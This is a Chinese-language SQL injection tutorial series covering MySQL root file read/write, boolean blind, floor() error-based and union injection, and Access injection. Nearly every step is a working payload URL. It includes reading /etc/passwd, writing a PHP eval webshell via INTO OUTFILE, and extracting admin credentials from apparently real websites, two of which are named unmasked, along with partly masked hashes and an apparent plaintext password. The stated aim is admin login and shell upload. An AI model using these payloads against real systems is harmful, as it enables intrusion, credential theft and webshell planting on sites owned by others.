9,这里root权限下的读写操作,就以bwapp中的注入练习为例进行说明了,首先,我们尝试读取目标系统中的/etc/passwd文件,下面的十六进制数据是/etc/passwd hex后的内容

1
http://192.168.3.47/bWAPP/sqli_2.php?movie=1 and 1=12 UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6,7 %23&action=go

''

10,依然是上面的注入点,这次我们尝试向目标的网站目录中写入php一句话,下面的十六进制数据的明文是<?php @eval($_POST[‘klion’]);?>,后面则是目标网站的物理路径,意思就是把这个一句话写到这个目录中,如下可以看到,提示不能写,原因很明显,因为以你当前的用户身份对这个目录是没有写权限的,如果想写进去,就只能自己动手去把权限放宽一些,因为这里是在本地测试,权限不够,自己给一下就可以了,但实际测试中,如果没权限,那你就只能看看读,如果读也不能读,mysql的root密码hash总也能查出来吧,再或者如果真的是权限被降的一塌糊涂,网站的管理表总归是可以查的吧,按正常的注入把管理员的账号查出来再登到后台传shell也是可以的

1
http://192.168.3.47/bWAPP/sqli_2.php?movie=1 and 1=12 UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b6b6c696f6e5d293f3e,3,4,5,6,7 into outfile '/var/www/bWAPP/admin/shell.php' %23&action=go

''

可以看到,当我们放开权限之后,shell被正常写进去了,虽然报了点警告,但无伤大雅

1
http://192.168.3.47/bWAPP/sqli_2.php?movie=1 and 1=12 UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b6b6c696f6e5d293f3e,3,4,5,6,7 into outfile '/var/www/bWAPP/admin/shell.php' %23&action=go

''

细心的表哥们可能会看到,这里的一句话掉了个分号,其实,在php中最后一行代码不加分号是可行的
''

执行似乎没什么问题,现在尝试用菜刀连一下,脚本正常执行,shell正常连接
''
''

关于mysql root权限下的权限利用需要注意的一些点:
(1),正常情况下mysql的root用户确实可以在数据库中为所欲为,但这并不意味着你在目标操作系统中也可以为所欲为,如果启动mysql服务的用户身份只是系统的一个普通用户,那么你在系统中的权限撑死了也就只是个普通用户权限,因为你继承的是那个启动mysql服务的用户权限,说这些只是为了让大家对于mysql root权限下的文件读写利用有个更清晰的认识,大多数时候你会发现,即使你确实是mysql的root用户,但依然没法正常的读写文件,原因就是我上面说的这些,因为你的mysql服务用户只是个普通用户权限,而这个用户对你要操作的那个目录或文件没有读写权限,自然就读写不了,当然,这是基于系统的文件系统权限而言
(2),另外,还有一种情况,假设你对目标的网站目录有正常的读写权限,但是目标在安装完mysql以后对root用户进行了一些权限优化,比如,我想让root只能正常的增删改查,之外的权限全删掉,这时候,你再想进行文件读写,也可能是不行的,因为file权限很可能被干掉了
(3),最后,还可能会有一些别的情况,比如,网站目录被waf或其他的一些防护工具所监控,当你写webshell时,直接就被杀掉或者报警拦截之类的
(4),退一万步来讲,即使你真的没办法读写文件,但这并不妨碍你正常查询数据,拿到网站管理员的账号密码,登到后台传shell也是可以的,不用一条路走到黑,多变通
(5),其实,有时候也可以利用root用户执行系统命令,即udf,有一种提权方法,叫udf提权,利用的就是此特性,还是那句话,即使能执行系统命令,但这并不意味一定可以达到提权(对于linux来讲是直接提到root权限)的效果,关于udf的东西,我们后续再单独说,这里就暂时先放过

一点小结:
    其实,就mysql本身的文件读写来讲,非常简单,只是背后的权限映射,需要大家稍微理解下,个人觉得挺好理解的,又没什么拐弯抹角的,都是死东西,相信你只要以前好好琢磨过操作系统的用户组权限,这个对你来说,基本是一点就通,在操作系统中,所有的程序,都是工作在某种安全上下文中的,而这个安全上下文大多数都是由用户来控制和决定的,好吧,稍不留神又TM跑题了,汗……

sql注入入门 之 mysql 布尔型盲注



1,实例 mysql 盲注点,如下,虽然这并不是个标标准准的盲注点,但并不影响我们用盲注的方式来获取数据,以后遇到纯正的盲注点,我们再补充:

1
http://www.vuln.com/wexpage.php?id=21

''

2,一阵单引号过后,目标数据库如期报错,对于mysql来讲,一般出现这情况,百分之九十九可以确定这就是个正儿八经的注入点

1
http://www.vuln.com/wexpage.php?id=21'

''

3,尝试闭合,还是前面的问题,不要一眼看到数字就认定它是个数字型注入,比如该实例就又是个字符型注入,我们只需闭合前面的单引号注释掉后面的语句就可以了

1
http://www.vuln.com/wexpage.php?id=21' and 121=121 %23 条件为真时,页面返回正常

''

1
http://www.vuln.com/wexpage.php?id=21' and 121=1 %23 条件为假时,页面返回错误,到这一步可以确认它确实是个注入点

''

4,按照以往的流程,我们接下来应该是查询当前表的字段个数,然后执行union,流程如下

1
http://www.vuln.com/wexpage.php?id=21'order by 7 %23 字段为7个时,目标页面返回正常

''

1
http://www.vuln.com/wexpage.php?id=21'order by 8 %23 字段个数为8时,页面返回异常,可知当前表的字段个数为7个

''

执行union,爆出对应的数据显示位,好,关于利用union注入的方式,我们到此打住,今天的重点主要是为了说明如何进行布尔型盲注,而非union的方式注入,这里顺带再次提及union的目的只是为了告诉大家,一个注入点,我们通常有n种注入方式,当某种方式受限时,不妨多换换姿势,尽量不要一条道走到黑,反正我们最终的目的只是为了拿到管理员账号密码登到后台获取webshell,至于具体用什么方法,无所谓,怎么快怎么来,毕竟我们这里并不是在做学术研究

1
http://www.vuln.com/wexpage.php?id=21' and 1=2 UNION SELECT 1,2,3,4,5,6,7 %23

''

5,好,啰嗦了一堆废话,正式开始今天的布尔型盲注,不过,在此之前我们还需要搞清楚一些问题,既是盲注,也就意味着,它不需要报错,不需要知道准确的字段个数,更不需要数据的显示位,归根结底它只关心一点,也就是,我们自己的sql到底有没有被执行成功,那么,又该怎么判断我们的sql有没有执行成功呢,其实很简单,如果是布尔型盲注,直接观察页面的返回正常与否即可,如果是时间盲注,看它是不是按照自己规定的延迟时间来响应的,等等……

6,说了这么多,我们现在回到正题,”布尔型”盲注,因为布尔型盲注没有任何参考,只能靠观察目标页面的返回来判断我们的语句是否执行成功,所以我们只能通过一位位的字符截取然后逐个对比判断来获取准确数据,如下,搜集目标数据库相关信息

截取数据库版本名称的第一位字符并返回其ASCII码值,当它等于我们所指定的值时,页面返回正常,此时去查出这个值对应的ASCII码字符是什么,后面都是如此,你可以依次递增,查出完整的数据库版本,这里为了节约篇幅,中间的过程就省略了,最后,查出完整的版本号为 ‘5.6.35’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select version()),1,1))=53) %23

''

截取当前数据库名称的第一位字符并返回其ASCII码值,依次递增,即可查出完整的数据库名称,完整的数据库名称为’wexnepal_2012’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select database()),1,1))=119) %23

''

截取当前数据库用户名的第一位字符并返回其ASCII码值,依次递增,查出完整的用户名,完整的用户名为’wexnepal_2012@localhost’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select user()),1,1))=119) %23

''

7,尝试获取所有的数据库名(依然是那句话,’所有’指的是你有权限看到的)

获取第一个数据库名的第一位字符,并返回其对应的ASCII码值,依次递增查出完整信息,第一个数据库名为’information_schema’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))=105) %23

''

获取第二个数据库名的第一位字符,并返回其对应的ASCII码值,依次递增查出完整信息,第一个数据库名为’wexnepal_2012’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))=119) %23

''

8,接着,获取’wexnepal_2012’库中的所有表名
获取第一张表名的第一位字符,并返回其对应的ASCII码值,依次递增把当前库中的所有表名都查出来即可,最后,确认实际的管理表名为 ‘tbl_admin_user’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select table_name from information_schema.tables where table_schema=0x7765786e6570616c5f32303132 limit 0,1),1,1))=116) %23

''

9,有了管理表名,下一步就该把该表中的所有字段名都查出来了,依旧是上面的方法
查询’tbl_admin_user’表中的第一个字段名的第一位字符,并返回其对应的ASCII码值,最后确认实际的账号密码字段名分别为’admin_username’,’admin_password’

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23

''

10,现在管理表名字段名都有了,下一步只需要慢慢把每个字段对应的实际数据查出来即可
获取’admin_username’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整用户名即可

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23

''

获取’admin_password’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整密码数据即可

1
http://www.vuln.com/wexpage.php?id=21' and (select ascii(substring((select admin_password from tbl_admin_user limit 0,1),1,1))=49) %23

''

11,最终,得到的管理员账号密码完整数据如下:

1
wexnepal:194fb91445ebd552e7ab75457*****


一点小结:
    这里只是简单说明了盲注里面的最基本的一种方法(基于布尔的盲注),另外还有基于时间和错误的盲注,思路流程几乎是一模一样的,同样是一位位字符的截取,只是用的函数不一样而已,换汤不换药,稍微改下语句即可,非常简单,这里就不再重复啰嗦了,大家可以看到,既是是盲注,也并不是什么很高深的注入技术,所有的复杂都是基础堆积的结果,最多可能只是在这之前,大家都没想到原来还可以这么查数据而已,可能有些繁琐,但语句还是非常好理解的,关键在于大家对各种数据库单行函数的理解和灵活应用,自己要记得多实践,以不断加深自己对盲注的理解,另外,如果真的是手工这样猜,肯定会累死,实际中我们更多都是配合burpsuite一起来完成整个过程

sql注入入门 之 mysql 显错注入 [ floor()显错 ]



1,实例显错型 mysql 注入点,如下:

1
http://www.vuln.com/profile_view.php?id=13

''

2,尝试单引号后,目标如期报错,很好,我们要的正是这个报错信息,因为后面的查询全都要靠它,另外,从报错信息来看,我们知道目标是linux的机器,网站的物理路径也顺便送给了我们,如果root的注入点,我们岂不是,嘿嘿……

1
http://www.vuln.com/profile_view.php?id=13'

''

3,同样,虽然这里打眼一看可能又会以为是个数字型注入,但其实后端依然是把它当做字符串来接收的,所以,就需要我们把前后的单引号都闭合掉

1
http://www.vuln.com/profile_view.php?id=13'and 's'='s

''

4,成功闭合后,就可以继续正常查询各种数据,还是习惯性的先搜集下目标数据库的相关信息
获取当前数据库版本

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

获取当前数据库用户权限

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

查看当前数据库名,可知当前数据库名为 ‘jamesbaird_pcba’

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

查看目标的机器名,可能有时候我们希望根据目标的机器名来大致判断当前机器是干啥的,以此来确定其价值的高低……

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,@@hostname,0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

查看目标mysql的安装路径,创建自定义函数时可能会用到

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,@@basedir,0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

5,搜集完相关信息以后,我们开始查询真正的数据,首先,列出所有的数据库名(依然是你有权限看的’所有’),同样是利用limit
获取第一个数据库名

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

获取第二个数据库名

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

获取第三个数据库名,从前面我们已经知道,这个是我们当前所在的库

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

获取第四个数据库名

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 3,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

6,有了所有的数据库名以后,我们就可以开始查表名了,首先,查出当前库中的所有表名,当然,我们的最终目的还是为了找到目标网站的管理表,不一定非要把所有的表名都查出来,找到管理表,只要拿到账号密码即可

从当前库中获取第一张表名

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

接着依次获取第二张表名,第三张表名,……其实,中间还查出来很多表,但并不是我想要的,所以中间的过程我就都省略了,不过,最终也还是没能找到我们想要的那张管理表,没办法,只能跨库查了,当然,跨库肯定是有前提的,你只能跨到你有权限跨进的库中,废话不多讲,我们继续查

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

直到当我查到’jamesbairdcurrent’这个库时,一眼就发现了’wp‘ 前缀,有经验的一眼就看出来了,这是个wordpress程序的数据库,既是开源程序,库表结构自然就非常清晰了(一般情况下很少人会改它原来的库表结构,因为那样可能意味着要大篇幅重构代码,如果不是做深度二次开发,最多可能只会在原有的库表基础上加表加功能),下面的十六进制数据表示的是’jamesbaird_current’库名,如下:

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=0x6a616d657362616972645f63757272656e74 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

7,按说,我们现在就可以直接去查出管理员的账号密码,因为wordpress默认的管理表名和该表中的字段名我们早已了如指掌,为了文章完整性,这里还是一步步的来吧
获取第二个字段名,用户名字段,下面的十六进制数据表示的是’wp_users’的表名

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x77705f7573657273 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

获取第三个字段名,密码字段

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x77705f7573657273 LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

8,现在,直接从wp_users表中获取管理员的账号和密码hash即可,至此,一次基本的mysql显错注入就算完成了,虽然我们现在查到的账号密码可能并不是这个网站的后台管理账号密码,但起码我们知道它肯定有一个wordpress程序存在,找到那个wordpress所在的地址,然后登进去,传shell也是一样的,可那并不是今天的重点,这里我也不啰嗦了

1
http://www.vuln.com/profile_view.php?id=13' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user_login,0x3a,user_pass,0x23) FROM jamesbaird_current.wp_users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 's'='s

''

9,最终,我们得到的管理员的账号密码如下

1
admin:5ce14b22a4406974b33dfcaa****** (md5的hash,相必这个wordpress版本必然很低)


一点小结:
    这里也只是简单演示了在显错注入中最常用的一种,基于floor()函数的,关于另外两个函数的利用和这个方式都基本一致,语句稍微变下即可,这里就不再重复啰嗦了,另外,今天的重点只是想让大家明白怎么通过显错进行注入,注入语句可能一眼看上去比较难懂,但从里往外一句句拆出来执行就知道什么意思了,其实不难,关键是自己一定要有耐心

sql注入入门 之 mysql 常规注入 [ union方式 ]



1,常规数字型 mysql 实例注入点,如下:

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2

''

2,依旧先尝试下经典的单引号,如下,虽然没暴露出明显的数据库报错信息,但我们发现,此时返回的页面已经异常了,经验判断,十有八九是个注入点,先不管那么多,我们继续

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2'

''

3,我们再进一步确认注入点,可能表面一眼看去,也许你会认为它是个数字型注入点,其实,它是个字符型的,关于字符型的闭合比较简单,你可以选择把前后的单引号都闭合掉,或者你也可以选择只闭合前面的单引号,然后把后面多余的语句都注释掉也行,随你,只要能保证我们的语句能正常执行即可

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 's'='s 条件为真时,页面返回正常

''

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 's'='sk 条件为假时,页面返回异常

''

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=12 --+- 条件为真时,页面返回正常

''

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 --+- 条件为假时,页面返回异常

''

4,确认为真正的注入点后,我们就可以开始查询各种数据,首先,确定下当前表准确的字段个数,为后面执行union做准备

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' order by 28 --+- 为28返回正常

''

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' order by 29 --+- 为29时返回错误,确认当前表的字段个数为28个

''

5,有了确切的字段个数,我们继续执行union爆出对应的数据显示位(爆出对应数据显示位的目的,其实就是要把后续从数据库查出来的各种结果都显示到这些位置上,说的通俗点儿,我们查出来的数据在页面上总得有个地方放吧,要不然我们怎么看呢)

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 --+-

''

6,搜集当前数据库的各种相关信息,比如,当前数据库用户权限(这里暂时以普通数据库用户权限为例进行演示,关于root权限下的注入方法,后续还会有单独说明),当前数据版本,当前数据库名,目标操作系统类型,目标主机名,数据文件的存放目录,数据库的安装目录等等……实际测试中,不一定非要每次都把信息都查出来,只查对你有用的即可,这里纯粹只是为了大家方便,所以说的相对比较详细

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,user(),6,version(),8,9,10,11,12,13,database(),15,@@version_compile_os,@@hostname,@@datadir,19,20,21,@@basedir,23,24,25,26,27,28 --+-

''

7,对基本情况有所有了解后,接着就可以查出’所有’的数据库名了,当然,这里的’所有’并非真正的’所有’,它指的是当前数据库用户有权限看到的那些数据库,以此注入点为例,目前就只能看到 information_schema,homoeopathy_university 这俩数据库

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,group_concat(schema_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.schemata --+-

''

8,查出当前库中的所有表名,这里有个坑,不知道是不是group_concat()对查询结果有长度限制的问题,还是目标网站的什么原因,个人感觉应该是有限制(就像oracle中的wm_concat亦是如此),导致group_concat查出来的结果不全,如果表比较少,可能还没什么问题,假如有个一两百张表的情况下,用它就只能看到一部分,所以实际测试中,并不推荐group_concat()[顺便提醒大家一句,不要过于相信网上的一些文章,其实有很多人自己都没深入搞清楚,经常是以讹传讹,一定要多自己尝试,这样出来的东西,才能走心],很显然,这里就出现了这样的问题

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() --+-

''

9,所以,下面我就换成limit了,个人觉得用limit还是非常靠谱的,就执行效率来讲,个人觉得相比group_concat()要高一点的,虽然,用limit可能稍微要费点儿劲,不过还好我们有burpsuite帮忙,另外,有时候直接使用database()可能不太好使,可以把它换成上面database()的结果,然后hex一下基本就可以了

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() limit 0,1 --+-

''

10,当burpsuite跑到第142张表时,我们发现,这正是我们想要的网站管理表,表名为 ‘tbl_webmaster’

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() limit 141,1 --+-

''

11,既然管理表找到了,接着把该表中的所有字段名查出来就可以了,为了避免单引号的问题,我们还是要把该表名先hex下,另外,这里依然是用limit,查询过程中我们发现第四个字段是username(管理员用户名),第五个字段是password(管理员密码)

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.columns where table_name=0x74626c5f7765626d6173746572 limit 3,1 --+-

''

1
https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.columns where table_name=0x74626c5f7765626d6173746572 limit 4,1 --+-

''

12,现在用户密码字段都有了,直接把用户名和对应的密码hash都查出来即可,如下,防止有多个网站管理员,记得带上limit

1
https://www.homoeopathyuniversity.org/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from tbl_webmaster limit 0,1 --+-

''

13,最后查出来的账号和密码hash如下:

1
superadmin : e10adc3949ba59abbe56e057f*******



一点小结:
    关于mysql的常规注入,其实整个流程非常的简单,无非就是’查权限,查路径,查库,查表,查字段,查数据,找到后台登陆传shell’,就其本身来讲并没有多少实质的技术含量在里面,这里纯粹只是为了让大家熟练mysql手工注入,加深对mysql注入的理解,这样万一以后遇到一些比较畸形的注入点,工具罢工,我们手工还依然可以上

sql注入入门 之 access常规注入 [ union方式 ]



0x01 用于演示的常规 access 实例注入点,如下,可以看到,正常情况下的页面是这样的:

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240

"正常情况下的页面"

0x02 尝试 干扰后,数据库如期报错,其实在错误里面就已经说的很清楚了,是access的数据库,错误的原因是多了个单引号导致的,既是如此,则证明我们的单引号刚刚已被带入了正常查询,这也正是我们想要看到的效果

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240'

"数据库报错"

0x03 再次确认是否真的存在注入,我们观察到,条件为真时页面返回正常

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and 1=1

"条件为真返回正常"

0x04 条件为假时页面返回错误,确认无疑,这是个标标准准的access数字型注入点,紧接着我们就可以开始正常查询各种数据了,关于注入access,暂时也看到没什么特别好的办法,表名字段名只能硬猜

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and 1=112

"条件为假时返回错误"

0x05 首先,尝试猜管理表名,当然,这中间肯定还尝试了很多其它可能的管理表名,比如,admin,login,admin_user等等……直到我们尝试到users表时页面才返回正常,说明该表存在

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and exists(select * from users)

"猜管理表名"

0x06 有了管理表名,接着就该猜该表中对应的用户和密码字段名了,当我们尝试 username 字段时,页面返回正常,说明该字段名存在

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and exists(select username from users)

"猜账号字段名"

0x07 用户名字段有了,下面该轮到猜密码字段名了,同样,当我们尝试 password 字段名时页面返回正常,说明该字段名也存在

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and exists(select password from users)

"猜密码字段名"

0x08 目前为止,表名,字段名都有了,理论上,紧接着直接去爆出相应的数据即可,不过,在爆数据之前,我们还需要先确定当前表的字段个数,后面好执行union,然后爆出数据的显示位,这里就用经典的order by ,很显然,为3的时候,页面返回正常

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 order by 3

"字段为3的时候"

0x09 为4的时候页面返回错误,按说,当前表的字段个数应该为3个才对

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 order by 4

"字段为4的时候报错"

0x10 但实际测试中,它却显示一直不匹配错误,好吧,想要直截了当的爆出数据估计要费点儿劲了,为了不在这里浪费时间,我们只能暂时用类似盲注的办法来一位位字符的截取数据了

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and 1=23 UNION SELECT 1,2,3 from users --

"猜密码字段名"

0x11 在这之前,我们已经确定了用户及密码的字段名和管理表名,所以,我们就可以像下面这样这样来获取数据

0x12 查询 username字段下的第一条数据的长度,当大于7时页面返回正常

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 len(username) from users)>7

"字段数据长度"

0x13 大于8时页面返回错误,说明 username 字段下的第一条数据长度为 8 个字符

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 len(username) from users)>8

"username字段第一条数据的长度"

0x14 知道了第一条数据的总长度,我们就要可以开始一个一个字符的截取数据了,下面语句的意思是截取username字段的第一条数据的第一位字符并返回其对应的ascii码,可以看到,为98的时候页面返回正常,而98对应的ASCII码字符是b

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(username,1,1)) from users)=98

"返回username字段第一条数据的第一个字符的ascii码值"

0x15 截取username字段的第一条数据的第二个字符并返回其对应的ascii码,为119时页面返回正常,而119对应的字符为w

1
http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(username,2,1)) from users)=119

"第二个字符的ASCII码值"

最后,通过慢慢遍历,username 字段的第一条记录的完整数据为bwrealty

0x16 username字段查完了,下面又该轮到password字段了,还是一模一样的方法

截取password字段的第一条数据的第一位字符,并返回其对应的ascii码,直到为98时页面猜返回正常

1
http://www.boardwalk-realty.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(password,1,1)) from users)=98

"第一个字符的ASCII码值"

截取password字段的第一条数据的第二位字符,并返回其对应的ascii码,直到为119时页面猜返回正常

1
http://www.boardwalk-realty.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(password,2,1)) from users)=119

"第二个字符的ASCII码值"

password字段第一条数据的最终结果为bwrealty123,至此,整个access的常规注入就算基本完成了,大家也都看到了,其实整个注入过程,非常的简单

一点小结:
    针对access的注入,其实真的没什么特别需要注意的,非常简单,因为它没有像mysql,mssql,oracle…那样,直接有提供现成的元数据可以查,表名字段名都只能硬猜,也就是说,如果是字段名猜不着,有后台的情况下,还可以看看后台的登陆表单里的账号密码字段名是什么,然后拿这个来试试,如果压根是表名都猜不着也就猜不着了,没什么曲线可以走,所以,这就需要大家自己平时多去搜集一些命中率相对比较高的管理员表名和账户密码字段名了,另外,因为access数据库,本身就非常小,所以,根本也没有任何权限及用户访问控制机制,自然注入起来也非常的容易,基本上是不用考虑的太多,上手即来